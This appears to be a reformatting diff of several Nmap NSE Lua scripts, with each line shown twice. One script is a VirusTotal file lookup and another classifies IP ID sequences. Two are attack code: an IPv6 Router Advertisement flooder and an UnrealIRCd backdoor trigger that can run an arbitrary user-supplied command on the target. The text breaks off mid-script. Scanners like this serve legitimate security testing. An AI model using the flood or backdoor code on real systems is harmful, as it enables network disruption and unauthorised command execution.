local status, str = readFile(filename) local status, str = readFile(filename)
if ( not(status) ) then if ( not(status) ) then
return false, str return false, str
end end
local shortfile = filename:match("^.*[\\/](.*)$") local shortfile = filename:match("^.*[\\/](.*)$")
local boundary = "----------------------------nmapboundary" local boundary = "----------------------------nmapboundary"
local header = { ["Content-Type"] = ("multipart/form-data; boundary=%s"):format(boundary) } local header = { ["Content-Type"] = ("multipart/form-data; boundary=%s"):format(boundary) }
local postdata = ("--%s\r\n"):format(boundary) local postdata = ("--%s\r\n"):format(boundary)
postdata = postdata .. "Content-Disposition: form-data; name=\"apikey\"\r\n\r\n" postdata = postdata .. "Content-Disposition: form-data; name=\"apikey\"\r\n\r\n"
postdata = postdata .. arg_apiKey .. "\r\n" postdata = postdata .. arg_apiKey .. "\r\n"
postdata = postdata .. ("--%s\r\n" .. postdata = postdata .. ("--%s\r\n" ..
"Content-Disposition: form-data; name=\"file\"; filename=\"%s\"\r\n" .. "Content-Disposition: form-data; name=\"file\"; filename=\"%s\"\r\n" ..
"Content-Type: text/plain\r\n\r\n%s\r\n--%s--\r\n"):format(boundary, shortfile, str, boundary) "Content-Type: text/plain\r\n\r\n%s\r\n--%s--\r\n"):format(boundary, shortfile, str, boundary)
local host = "www.virustotal.com" local host = "www.virustotal.com"
local port = { number = 80, protocol = "tcp" } local port = { number = 80, protocol = "tcp" }
local path = "/vtapi/v2/file/scan" local path = "/vtapi/v2/file/scan"
local response = http.post( host, port, path, { header = header }, nil, postdata ) local response = http.post( host, port, path, { header = header }, nil, postdata )
if ( not(response) or response.status ~= 200 ) then if ( not(response) or response.status ~= 200 ) then
return false, "Failed to request file scan" return false, "Failed to request file scan"
end end
local status, json_data = json.parse(response.body) local status, json_data = json.parse(response.body)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to parse JSON response" return false, "Failed to parse JSON response"
end end
return true, json_data return true, json_data
end end
local function getFileScanReport(resource) local function getFileScanReport(resource)
local host = "www.virustotal.com" local host = "www.virustotal.com"
local port = { number = 80, protocol = "tcp" } local port = { number = 80, protocol = "tcp" }
local path = "/vtapi/v2/file/report" local path = "/vtapi/v2/file/report"
local response = http.post(host, port, path, nil, nil, { ["apikey"] = arg_apiKey, ["resource"] = resource }) local response = http.post(host, port, path, nil, nil, { ["apikey"] = arg_apiKey, ["resource"] = resource })
if ( not(response) or response.status ~= 200 ) then if ( not(response) or response.status ~= 200 ) then
return false, "Failed to retrieve scan report" return false, "Failed to retrieve scan report"
end end
local status, json_data = json.parse(response.body) local status, json_data = json.parse(response.body)
if ( not(status) ) then if ( not(status) ) then
return false, "Failed to parse JSON response" return false, "Failed to parse JSON response"
end end
return true, json_data return true, json_data
end end
local function calcSHA256(filename) local function calcSHA256(filename)
local status, str = readFile(filename) local status, str = readFile(filename)
if ( not(status) ) then if ( not(status) ) then
return false, str return false, str
end end
return true, stdnse.tohex(openssl.digest("sha256", str)) return true, stdnse.tohex(openssl.digest("sha256", str))
end end
local function parseScanReport(report) local function parseScanReport(report)
local result = {} local result = {}
table.insert(result, ("Permalink: %s"):format(report.permalink)) table.insert(result, ("Permalink: %s"):format(report.permalink))
table.insert(result, ("Scan date: %s"):format(report.scan_date)) table.insert(result, ("Scan date: %s"):format(report.scan_date))
table.insert(result, ("Positives: %s"):format(report.positives)) table.insert(result, ("Positives: %s"):format(report.positives))
table.insert(result, { table.insert(result, {
name = "digests", name = "digests",
("SHA1: %s"):format(report.sha1), ("SHA1: %s"):format(report.sha1),
("SHA256: %s"):format(report.sha256), ("SHA256: %s"):format(report.sha256),
("MD5: %s"):format(report.md5) ("MD5: %s"):format(report.md5)
}) })
local tmp = {} local tmp = {}
for name, scanres in pairs(report.scans) do for name, scanres in pairs(report.scans) do
local res = ( scanres.detected ) and scanres.result or "-" local res = ( scanres.detected ) and scanres.result or "-"
table.insert(tmp, { name = name, result = res, update = scanres.update, version = scanres.version }) table.insert(tmp, { name = name, result = res, update = scanres.update, version = scanres.version })
end end
table.sort(tmp, function(a,b) return a.name:upper()<b.name:upper() end) table.sort(tmp, function(a,b) return a.name:upper()<b.name:upper() end)
local scan_tbl = tab.new(4) local scan_tbl = tab.new(4)
tab.addrow(scan_tbl, "name", "result", "date", "version") tab.addrow(scan_tbl, "name", "result", "date", "version")
for _, v in ipairs(tmp) do for _, v in ipairs(tmp) do
tab.addrow(scan_tbl, v.name, v.result, v.update, v.version) tab.addrow(scan_tbl, v.name, v.result, v.update, v.version)
end end
table.insert(result, { name = "Results", tab.dump(scan_tbl) }) table.insert(result, { name = "Results", tab.dump(scan_tbl) })
return result return result
end end
local function fail(err) return ("\n ERROR: %s"):format(err or "") end local function fail(err) return ("\n ERROR: %s"):format(err or "") end
action = function() action = function()
if ( not(arg_apiKey) ) then if ( not(arg_apiKey) ) then
return fail("An API key is required in order to use this script (see description)") return fail("An API key is required in order to use this script (see description)")
end end
local resource local resource
if ( arg_upload == "true" and arg_filename ) then if ( arg_upload == "true" and arg_filename ) then
local status, json_data = requestFileScan(arg_filename, arg_apiKey) local status, json_data = requestFileScan(arg_filename, arg_apiKey)
if ( not(status) or not(json_data['resource']) ) then if ( not(status) or not(json_data['resource']) ) then
return fail(json_data) return fail(json_data)
end end
resource = json_data['resource'] resource = json_data['resource']
local output = {} local output = {}
table.insert(output, "Your file was succesfully uploaded and placed in the scanning queue.") table.insert(output, "Your file was succesfully uploaded and placed in the scanning queue.")
table.insert(output, { name = "To check the current status visit:", json_data['permalink'] }) table.insert(output, { name = "To check the current status visit:", json_data['permalink'] })
return stdnse.format_output(true, output) return stdnse.format_output(true, output)
elseif ( arg_filename ) then elseif ( arg_filename ) then
local status, sha256 = calcSHA256(arg_filename) local status, sha256 = calcSHA256(arg_filename)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to calculate SHA256 checksum for file") return fail("Failed to calculate SHA256 checksum for file")
end end
resource = sha256 resource = sha256
elseif ( arg_checksum ) then elseif ( arg_checksum ) then
resource = arg_checksum resource = arg_checksum
else else
return return
end end
local status, response local status, response
local status, response = getFileScanReport(resource) local status, response = getFileScanReport(resource)
if ( not(status) ) then if ( not(status) ) then
return fail("Failed to retrieve file scan report") return fail("Failed to retrieve file scan report")
end end
if ( not(response.response_code) or 0 == tonumber(response.response_code) ) then if ( not(response.response_code) or 0 == tonumber(response.response_code) ) then
return fail(("Failed to retreive scan report for resource: %s"):format(resource)) return fail(("Failed to retreive scan report for resource: %s"):format(resource))
end end
return stdnse.format_output(true, parseScanReport(response)) return stdnse.format_output(true, parseScanReport(response))
end end

View File

@@ -43,17 +43,17 @@ local ipidseqport
--- Pcap check function --- Pcap check function
-- @return Destination and source IP addresses and TCP ports -- @return Destination and source IP addresses and TCP ports
local check = function(layer3) local check = function(layer3)
local ip = packet.Packet:new(layer3, layer3:len()) local ip = packet.Packet:new(layer3, layer3:len())
return bin.pack('AA=S=S', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport) return bin.pack('AA=S=S', ip.ip_bin_dst, ip.ip_bin_src, ip.tcp_dport, ip.tcp_sport)
end end
--- Updates a TCP Packet object --- Updates a TCP Packet object
-- @param tcp The TCP object -- @param tcp The TCP object
local updatepkt = function(tcp) local updatepkt = function(tcp)
tcp:tcp_set_sport(math.random(0x401, 0xffff)) tcp:tcp_set_sport(math.random(0x401, 0xffff))
tcp:tcp_set_seq(math.random(1, 0x7fffffff)) tcp:tcp_set_seq(math.random(1, 0x7fffffff))
tcp:tcp_count_checksum(tcp.ip_len) tcp:tcp_count_checksum(tcp.ip_len)
tcp:ip_count_checksum() tcp:ip_count_checksum()
end end
--- Create a TCP Packet object --- Create a TCP Packet object
@@ -61,192 +61,192 @@ end
-- @param port Port number -- @param port Port number
-- @return TCP Packet object -- @return TCP Packet object
local genericpkt = function(host, port) local genericpkt = function(host, port)
local pkt = bin.pack("H", local pkt = bin.pack("H",
"4500 002c 55d1 0000 8006 0000 0000 0000" .. "4500 002c 55d1 0000 8006 0000 0000 0000" ..
"0000 0000 0000 0000 0000 0000 0000 0000" .. "0000 0000 0000 0000 0000 0000 0000 0000" ..
"6002 0c00 0000 0000 0204 05b4" "6002 0c00 0000 0000 0204 05b4"
) )
local tcp = packet.Packet:new(pkt, pkt:len()) local tcp = packet.Packet:new(pkt, pkt:len())
tcp:ip_set_bin_src(host.bin_ip_src) tcp:ip_set_bin_src(host.bin_ip_src)
tcp:ip_set_bin_dst(host.bin_ip) tcp:ip_set_bin_dst(host.bin_ip)
tcp:tcp_set_dport(port) tcp:tcp_set_dport(port)
updatepkt(tcp) updatepkt(tcp)
return tcp return tcp
end end
--- Classifies a series of IP ID numbers like get_ipid_sequence() in osscan2.cc --- Classifies a series of IP ID numbers like get_ipid_sequence() in osscan2.cc
-- @param ipids Table of IP IDs -- @param ipids Table of IP IDs
local ipidseqclass = function(ipids) local ipidseqclass = function(ipids)
local diffs = {} local diffs = {}
local allzeros = true local allzeros = true
local allsame = true local allsame = true
local mul256 = true local mul256 = true
local inc = true local inc = true
if #ipids < 2 then if #ipids < 2 then
return "Unknown" return "Unknown"
end end
local i = 2 local i = 2
while i <= #ipids do while i <= #ipids do
if ipids[i-1] ~= 0 or ipids[i] ~= 0 then if ipids[i-1] ~= 0 or ipids[i] ~= 0 then
allzeros = false allzeros = false
end end
if ipids[i-1] <= ipids[i] then if ipids[i-1] <= ipids[i] then
diffs[i-1] = ipids[i] - ipids[i-1] diffs[i-1] = ipids[i] - ipids[i-1]
else else
diffs[i-1] = ipids[i] - ipids[i-1] + 65536 diffs[i-1] = ipids[i] - ipids[i-1] + 65536
end end
if #ipids > 2 and diffs[i-1] > 20000 then if #ipids > 2 and diffs[i-1] > 20000 then
return "Randomized" return "Randomized"
end end
i = i + 1 i = i + 1
end end
if allzeros then if allzeros then
return "All zeros" return "All zeros"
end end
i = 1 i = 1
while i <= #diffs do while i <= #diffs do
if diffs[i] ~= 0 then if diffs[i] ~= 0 then
allsame = false allsame = false
end end
if (diffs[i] > 1000) and ((diffs[i] % 256) ~= 0 or if (diffs[i] > 1000) and ((diffs[i] % 256) ~= 0 or
((diffs[i] % 256) == 0 and diffs[i] > 25600)) then ((diffs[i] % 256) == 0 and diffs[i] > 25600)) then
return "Random Positive Increments" return "Random Positive Increments"
end end
if diffs[i] > 5120 or (diffs[i] % 256) ~= 0 then if diffs[i] > 5120 or (diffs[i] % 256) ~= 0 then
mul256 = false mul256 = false
end end
if diffs[i] >= 10 then if diffs[i] >= 10 then
inc = false inc = false
end end
i = i + 1 i = i + 1
end end
if allsame then if allsame then
return "Constant" return "Constant"
end end
if mul256 then if mul256 then
return "Broken incremental!" return "Broken incremental!"
end end
if inc then if inc then
return "Incremental!" return "Incremental!"
end end
return "Unknown" return "Unknown"
end end
--- Determines what port to probe --- Determines what port to probe
-- @param host Host object -- @param host Host object
local getport = function(host) local getport = function(host)
for _, k in ipairs({"ipidseq.probeport", "probeport"}) do for _, k in ipairs({"ipidseq.probeport", "probeport"}) do
if nmap.registry.args[k] then if nmap.registry.args[k] then
return tonumber(nmap.registry.args[k]) return tonumber(nmap.registry.args[k])
end end
end end
--local states = { "open", "closed", "unfiltered", "open|filtered", "closed|filtered" } --local states = { "open", "closed", "unfiltered", "open|filtered", "closed|filtered" }
local states = { "open", "closed" } local states = { "open", "closed" }
local port = nil local port = nil
for _, s in ipairs(states) do for _, s in ipairs(states) do
port = nmap.get_ports(host, nil, "tcp", s) port = nmap.get_ports(host, nil, "tcp", s)
if port then if port then
break break
end end
end end
if not port then if not port then
return nil return nil
end end
return port.number return port.number
end end
hostrule = function(host) hostrule = function(host)
if not nmap.is_privileged() then if not nmap.is_privileged() then
nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {} nmap.registry[SCRIPT_NAME] = nmap.registry[SCRIPT_NAME] or {}
if not nmap.registry[SCRIPT_NAME].rootfail then if not nmap.registry[SCRIPT_NAME].rootfail then
stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME) stdnse.print_verbose("%s not running for lack of privileges.", SCRIPT_NAME)
end end
nmap.registry[SCRIPT_NAME].rootfail = true nmap.registry[SCRIPT_NAME].rootfail = true
return nil return nil
end end
if nmap.address_family() ~= 'inet' then if nmap.address_family() ~= 'inet' then
stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv4 compatible only.", SCRIPT_NAME)
return false return false
end end
if not host.interface then if not host.interface then
return false return false
end end
ipidseqport = getport(host) ipidseqport = getport(host)
return (ipidseqport ~= nil) return (ipidseqport ~= nil)
end end
action = function(host) action = function(host)
local i = 1 local i = 1
local ipids = {} local ipids = {}
local sock = nmap.new_dnet() local sock = nmap.new_dnet()
local pcap = nmap.new_socket() local pcap = nmap.new_socket()
local saddr = packet.toip(host.bin_ip_src) local saddr = packet.toip(host.bin_ip_src)
local daddr = packet.toip(host.bin_ip) local daddr = packet.toip(host.bin_ip)
local try = nmap.new_try() local try = nmap.new_try()
try(sock:ip_open()) try(sock:ip_open())
try = nmap.new_try(function() sock:ip_close() end) try = nmap.new_try(function() sock:ip_close() end)
pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr .. " and src port " .. ipidseqport) pcap:pcap_open(host.interface, 104, false, "tcp and dst host " .. saddr .. " and src host " .. daddr .. " and src port " .. ipidseqport)
pcap:set_timeout(host.times.timeout * 1000) pcap:set_timeout(host.times.timeout * 1000)
local tcp = genericpkt(host, ipidseqport) local tcp = genericpkt(host, ipidseqport)
while i <= NUMPROBES do while i <= NUMPROBES do
try(sock:ip_send(tcp.buf, host)) try(sock:ip_send(tcp.buf, host))
local status, len, _, layer3 = pcap:pcap_receive() local status, len, _, layer3 = pcap:pcap_receive()
local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport) local test = bin.pack('AA=S=S', tcp.ip_bin_src, tcp.ip_bin_dst, tcp.tcp_sport, tcp.tcp_dport)
while status and test ~= check(layer3) do while status and test ~= check(layer3) do
status, len, _, layer3 = pcap:pcap_receive() status, len, _, layer3 = pcap:pcap_receive()
end end
if status then if status then
table.insert(ipids, packet.u16(layer3, 4)) table.insert(ipids, packet.u16(layer3, 4))
end end
updatepkt(tcp) updatepkt(tcp)
i = i + 1 i = i + 1
end end
pcap:close() pcap:close()
sock:ip_close() sock:ip_close()
local output = ipidseqclass(ipids) local output = ipidseqclass(ipids)
if nmap.debugging() > 0 then if nmap.debugging() > 0 then
output = output .. " [used port " .. ipidseqport .. "]" output = output .. " [used port " .. ipidseqport .. "]"
end end
return output return output
end end

View File

@@ -43,50 +43,50 @@ try = nmap.new_try()
math.randomseed(os.time()) math.randomseed(os.time())
prerule = function() prerule = function()
if nmap.address_family() ~= "inet6" then if nmap.address_family() ~= "inet6" then
stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME) stdnse.print_debug("%s is IPv6 compatible only.", SCRIPT_NAME)
return false return false
end end
if not nmap.is_privileged() then if not nmap.is_privileged() then
stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME) stdnse.print_debug("Running %s needs root privileges.", SCRIPT_NAME)
return false return false
end end
if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then if not stdnse.get_script_args(SCRIPT_NAME .. ".interface") and not nmap.get_interface() then
stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME) stdnse.print_debug("No interface was selected, aborting...", SCRIPT_NAME)
return false return false
end end
return true return true
end end
local function get_interface() local function get_interface()
local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface() local arg_interface = stdnse.get_script_args(SCRIPT_NAME .. ".interface") or nmap.get_interface()
local if_table = nmap.get_interface_info(arg_interface) local if_table = nmap.get_interface_info(arg_interface)
if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then if if_table and packet.ip6tobin(if_table.address) and if_table.link == "ethernet" then
return if_table.device return if_table.device
else else
stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface) stdnse.print_debug("Interface %s not supported or not properly configured, exiting...", arg_interface)
end end
end end
--- Generates random MAC address --- Generates random MAC address
-- @return mac string containing random MAC address -- @return mac string containing random MAC address
local function random_mac() local function random_mac()
local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1) local mac = string.format("%02x:%02x:%02x:%02x:%02x:%02x", 00, 180, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
return mac return mac
end end
--- Generates random IPv6 prefix --- Generates random IPv6 prefix
-- @return prefix string containing random IPv6 /64 prefix -- @return prefix string containing random IPv6 /64 prefix
local function get_random_prefix() local function get_random_prefix()
local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1) local prefix = string.format("2a01:%02x%02x:%02x%02x:%02x%02x::", math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1, math.random(256)-1)
return prefix return prefix
end end
--- Build an ICMPv6 payload of Router Advertisement. --- Build an ICMPv6 payload of Router Advertisement.
@@ -99,94 +99,94 @@ end
-- @return icmpv6_payload string representing ICMPv6 RA payload -- @return icmpv6_payload string representing ICMPv6 RA payload
local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu) local function build_router_advert(mac_src,prefix,prefix_len,valid_time,preferred_time, mtu)
local ra_msg = string.char(0x0, --cur hop limit local ra_msg = string.char(0x0, --cur hop limit
0x08, --flags 0x08, --flags
0x00,0x00, --router lifetime 0x00,0x00, --router lifetime
0x00,0x00,0x00,0x00, --reachable time 0x00,0x00,0x00,0x00, --reachable time
0x00,0x00,0x00,0x00) --retrans timer 0x00,0x00,0x00,0x00) --retrans timer
local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved local mtu_option_msg = string.char(0x00, 0x00) .. -- reserved
packet.numtostr32(mtu) -- MTU packet.numtostr32(mtu) -- MTU
local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto local prefix_option_msg = string.char(prefix_len, 0xc0) .. --flags: Onlink, Auto
packet.set_u32("....", 0, valid_time) .. -- valid lifetime packet.set_u32("....", 0, valid_time) .. -- valid lifetime
packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime packet.set_u32("....", 0, preferred_time) .. -- preffered lifetime
string.char(0,0,0,0) .. --unknown string.char(0,0,0,0) .. --unknown
prefix prefix
local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg) local icmpv6_mtu_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_MTU, mtu_option_msg)
local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg) local icmpv6_prefix_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_PREFIX_INFORMATION, prefix_option_msg)
local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src) local icmpv6_src_link_option = packet.Packet:set_icmpv6_option(packet.ND_OPT_SOURCE_LINKADDR, mac_src)
local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option local icmpv6_payload = ra_msg .. icmpv6_mtu_option .. icmpv6_prefix_option .. icmpv6_src_link_option
return icmpv6_payload return icmpv6_payload
end end
--- Broadcasting on the selected interface --- Broadcasting on the selected interface
-- @param iface table containing interface information -- @param iface table containing interface information
local function broadcast_on_interface(iface) local function broadcast_on_interface(iface)
stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface) stdnse.print_verbose("Starting " .. SCRIPT_NAME .. " on interface " .. iface)
-- packet counter -- packet counter
local counter = 0 local counter = 0
local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout")) local arg_timeout = stdnse.parse_timespec(stdnse.get_script_args(SCRIPT_NAME..".timeout"))
arg_timeout = arg_timeout or 30 arg_timeout = arg_timeout or 30
local dnet = nmap.new_dnet() local dnet = nmap.new_dnet()
try(dnet:ethernet_open(iface)) try(dnet:ethernet_open(iface))
local dst_mac = packet.mactobin("33:33:00:00:00:01") local dst_mac = packet.mactobin("33:33:00:00:00:01")
local dst_ip6_addr = packet.ip6tobin("ff02::1") local dst_ip6_addr = packet.ip6tobin("ff02::1")
local prefix_len = 64 local prefix_len = 64
--- maximum possible value of 4-byte integer --- maximum possible value of 4-byte integer
local valid_time = tonumber(0xffffffff) local valid_time = tonumber(0xffffffff)
local preffered_time = tonumber(0xffffffff) local preffered_time = tonumber(0xffffffff)
local mtu = 1500 local mtu = 1500
local start, stop = os.time() local start, stop = os.time()
while true do while true do
local src_mac = packet.mactobin(random_mac()) local src_mac = packet.mactobin(random_mac())
local src_ip6_addr = packet.mac_to_lladdr(src_mac) local src_ip6_addr = packet.mac_to_lladdr(src_mac)
local prefix = packet.ip6tobin(get_random_prefix()) local prefix = packet.ip6tobin(get_random_prefix())
local packet = packet.Frame:new() local packet = packet.Frame:new()
packet.mac_src = src_mac packet.mac_src = src_mac
packet.mac_dst = dst_mac packet.mac_dst = dst_mac
packet.ip_bin_src = src_ip6_addr packet.ip_bin_src = src_ip6_addr
packet.ip_bin_dst = dst_ip6_addr packet.ip_bin_dst = dst_ip6_addr
local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu) local icmpv6_payload = build_router_advert(src_mac, prefix, prefix_len, valid_time, preffered_time, mtu)
packet:build_icmpv6_header(134, 0, icmpv6_payload) packet:build_icmpv6_header(134, 0, icmpv6_payload)
packet:build_ipv6_packet() packet:build_ipv6_packet()
packet:build_ether_frame() packet:build_ether_frame()
try(dnet:ethernet_send(packet.frame_buf)) try(dnet:ethernet_send(packet.frame_buf))
counter = counter + 1 counter = counter + 1
if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then if arg_timeout and arg_timeout > 0 and arg_timeout <= os.time() - start then
stop = os.time() stop = os.time()
break break
end end
end end
if counter > 0 then if counter > 0 then
stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start) stdnse.print_debug("%s generated %d packets in %d seconds.", SCRIPT_NAME, counter, stop - start)
end end
end end
function action() function action()
local interface = get_interface() local interface = get_interface()
broadcast_on_interface(interface) broadcast_on_interface(interface)
end end

View File

@@ -58,159 +58,159 @@ portrule = shortport.port_or_service({6666,6667,6697,6679,8067},{"irc","ircs"})
action = function(host, port) action = function(host, port)
local socket = nmap.new_socket() local socket = nmap.new_socket()
local code, message local code, message
local status, err local status, err
local data local data
-- Wait up to this long for the server to send its startup messages and -- Wait up to this long for the server to send its startup messages and
-- a response to our noop_command. After this, send the full_command. -- a response to our noop_command. After this, send the full_command.
-- Usually we don't have to wait the full time because we can detect -- Usually we don't have to wait the full time because we can detect
-- the response to noop_command. -- the response to noop_command.
local banner_timeout = 60 local banner_timeout = 60
-- Send a command to sleep this long. This just has to be long enough -- Send a command to sleep this long. This just has to be long enough
-- to remove confusion from network delay. -- to remove confusion from network delay.
local delay = 8 local delay = 8
-- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable. -- If the command takes (delay - delay_fudge) or more seconds, the server is vulnerable.
-- I defined the furdge as 1 second, for now, just because of rounding issues. In practice, -- I defined the furdge as 1 second, for now, just because of rounding issues. In practice,
-- the actual delay should never be shorter than the given delay, only longer. -- the actual delay should never be shorter than the given delay, only longer.
local delay_fudge = 1 local delay_fudge = 1
-- We send this command on connection because comm.tryssl needs to send -- We send this command on connection because comm.tryssl needs to send
-- something; it also allows us to detect the end of server -- something; it also allows us to detect the end of server
-- initialization. -- initialization.
local noop_command = "TIME" local noop_command = "TIME"
-- The 'AB' sequence triggers the backdoor to run a command. -- The 'AB' sequence triggers the backdoor to run a command.
local trigger = "AB" local trigger = "AB"
-- We define a highly unique variable as a type of 'ping' -- it lets us see when our -- We define a highly unique variable as a type of 'ping' -- it lets us see when our
-- command returns. Typically, asynchronous data will be received after the initial -- command returns. Typically, asynchronous data will be received after the initial
-- connection -- this lets us ignore that extra data. -- connection -- this lets us ignore that extra data.
local unique = "SOMETHINGUNIQUE" local unique = "SOMETHINGUNIQUE"
-- On Linux, do a simple sleep command. -- On Linux, do a simple sleep command.
local command_linux = "sleep " .. delay local command_linux = "sleep " .. delay
-- Set up an extra command, if the user requested one -- Set up an extra command, if the user requested one
local command_extra = "" local command_extra = ""
if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then if(stdnse.get_script_args('irc-unrealircd-backdoor.command')) then
command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command') command_extra = stdnse.get_script_args('irc-unrealircd-backdoor.command')
-- Replace "%IP%" with the ip address -- Replace "%IP%" with the ip address
command_extra = string.gsub(command_extra, '%%IP%%', host.ip) command_extra = string.gsub(command_extra, '%%IP%%', host.ip)
end end
-- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to -- Windows, unfortunately, doesn't have a sleep command. Instead, we use 'ping' to
-- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want -- simulate a sleep (thanks to Ed Skoudis for teaching me this one!). We always want
-- to add 1 to the delay because the first ping happens instantly. -- to add 1 to the delay because the first ping happens instantly.
-- --
-- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly -- This is likely unnecessary, because the Windows version of UnrealIRCd is reportedly
-- not vulnerable. However, it's possible that some odd person may have compiled it -- not vulnerable. However, it's possible that some odd person may have compiled it
-- from the vulnerable sourcecode, so we check for it anyways. -- from the vulnerable sourcecode, so we check for it anyways.
local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1" local command_windows = "ping -n " .. (delay + 1) .. " 127.0.0.1"
-- Put together the full command -- Put together the full command
local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra) local full_command = string.format("%s;%s;%s;%s;%s", trigger, unique, command_linux, command_windows, command_extra)
-- wait time: get rid of fast reconnecting annoyance -- wait time: get rid of fast reconnecting annoyance
if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then if(stdnse.get_script_args('irc-unrealircd-backdoor.wait')) then
local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait') local waittime = stdnse.get_script_args('irc-unrealircd-backdoor.wait')
stdnse.print_debug(1, "irc-unrealircd-backdoor: waiting for %i seconds", waittime) stdnse.print_debug(1, "irc-unrealircd-backdoor: waiting for %i seconds", waittime)
stdnse.sleep(waittime) stdnse.sleep(waittime)
end end
-- Send an innocuous command as fodder for tryssl. -- Send an innocuous command as fodder for tryssl.
stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", noop_command); stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", noop_command);
local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false}) local socket, response = comm.tryssl(host, port, noop_command .. "\n", {recv_before=false})
-- Make sure the socket worked -- Make sure the socket worked
if(not(socket) or not(response)) then if(not(socket) or not(response)) then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Couldn't connect to remote host") stdnse.print_debug(1, "irc-unrealircd-backdoor: Couldn't connect to remote host")
return nil return nil
end end
socket:set_timeout(banner_timeout * 1000) socket:set_timeout(banner_timeout * 1000)
-- Look for the end of initial server messages. This allows reverse DNS -- Look for the end of initial server messages. This allows reverse DNS
-- resolution and ident lookups to time out and not interfere with our -- resolution and ident lookups to time out and not interfere with our
-- timing measurement. -- timing measurement.
status = true status = true
data = response data = response
while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do while status and not (string.find(data, noop_command) or string.find(data, " 451 ")) do
status, response = socket:receive_bytes(0) status, response = socket:receive_bytes(0)
if status then if status then
data = data .. response data = data .. response
end end
end end
if not status then if not status then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed after %s: %s", noop_command, response) stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed after %s: %s", noop_command, response)
return nil return nil
end end
-- Send the backdoor command. -- Send the backdoor command.
stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", full_command); stdnse.print_debug(1, "irc-unrealircd-backdoor: Sending command: %s", full_command);
status, err = socket:send(full_command .. "\n") status, err = socket:send(full_command .. "\n")
if not status then if not status then
stdnse.print_debug(1, "irc-unrealircd-backdoor: Send failed: %s", err) stdnse.print_debug(1, "irc-unrealircd-backdoor: Send failed: %s", err)
return nil return nil
end end
-- Get the current time so we can measure the delay -- Get the current time so we can measure the delay
local time = os.time(os.date('*t')) local time = os.time(os.date('*t'))
socket:set_timeout((delay + 5) * 1000) socket:set_timeout((delay + 5) * 1000)
-- Accumulate the response in the 'data' string -- Accumulate the response in the 'data' string
status = true status = true
data = "" data = ""
while not string.find(data, unique) do while not string.find(data, unique) do
status, response = socket:receive_bytes(0) status, response = socket:receive_bytes(0)
if status then if status then
data = data .. response data = data .. response
else else
-- If the server unexpectedly closes the connection, it -- If the server unexpectedly closes the connection, it
-- is usually related to throttling. Therefore, we -- is usually related to throttling. Therefore, we
-- print a throttling warning. -- print a throttling warning.
stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed: %s", response) stdnse.print_debug(1, "irc-unrealircd-backdoor: Receive failed: %s", response)
socket:close() socket:close()
return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)." return "Server closed connection, possibly due to too many reconnects. Try again with argument irc-unrealircd-backdoor.wait set to 100 (or higher if you get this message again)."
end end
end end
-- Determine the elapsed time -- Determine the elapsed time
